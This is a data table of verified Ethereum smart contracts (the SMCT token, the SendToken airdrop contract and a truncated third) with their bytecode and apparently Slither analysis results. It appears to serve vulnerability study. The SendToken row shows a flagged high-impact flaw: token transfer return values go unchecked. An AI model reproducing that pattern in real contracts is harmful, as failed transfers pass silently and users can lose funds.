address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x0d11511ab22ec6e7a87f439a663862f1ec6d4a4b
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SMCT is StandardToken, Ownable {
// Constants
string public constant name = "Smart Momentum Chain Token";
string public constant symbol = "SMCT";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function SMCT() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280601a81526020017f536d617274204d6f6d656e74756d20436861696e20546f6b656e00000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b9aca000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f534d43540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820b58b2603502470df3ecbfe67a8b5caad3a4f2b975e6d75186a6a271f2b1223ba0029
|
{"success": true, "error": null, "results": {}}
| 1,600 |
0x28766f2f98d7b232f857fbf97367fb715c14a01d
|
/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract SendToken is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
mapping(address => uint) private rewardsEarned;
address public constant tokenAddress = 0xE63d7A762eF855114dc45c94e66365D163B3E5F6;
function addToken(address[] memory _accounts, uint[] memory _rewards) public onlyOwner {
for(uint i = 0; i < _accounts.length; i++) {
address _user = _accounts[i];
uint _reward = _rewards[i];
if(rewardsEarned[_user] == 0){
rewardsEarned[_user] = rewardsEarned[_user].add(_reward);
Token(tokenAddress).transfer(_user, _reward);
}
}
}
function withdrawToken(uint _token) public onlyOwner {
Token(tokenAddress).transfer(msg.sender, _token);
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806350baa6221461005c57806365df5fe41461008a5780638da5cb5b146101d65780639d76ea5814610220578063f2fde38b1461026a575b600080fd5b6100886004803603602081101561007257600080fd5b81019080803590602001909291905050506102ae565b005b6101d4600480360360408110156100a057600080fd5b81019080803590602001906401000000008111156100bd57600080fd5b8201836020820111156100cf57600080fd5b803590602001918460208302840111640100000000831117156100f157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561015157600080fd5b82018360208201111561016357600080fd5b8035906020019184602083028401116401000000008311171561018557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506103e1565b005b6101de610642565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610228610667565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ac6004803603602081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061067f565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030757600080fd5b73e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156103a257600080fd5b505af11580156103b6573d6000803e3d6000fd5b505050506040513d60208110156103cc57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461043a57600080fd5b60008090505b825181101561063d57600083828151811061045757fe5b60200260200101519050600083838151811061046f57fe5b602002602001015190506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561062e5761051381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156105f157600080fd5b505af1158015610605573d6000803e3d6000fd5b505050506040513d602081101561061b57600080fd5b8101908080519060200190929190505050505b50508080600101915050610440565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73e63d7a762ef855114dc45c94e66365d163b3e5f681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106d857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561071257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110156107e257fe5b809150509291505056fea26469706673582212203da1230244560a27eb1528689ad386a4d89c5329688821d71d72d19f447c6e4164736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 1,601 |
0x1c9f82e2ffa1a99fb03a7f40defb3d040683d4f8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
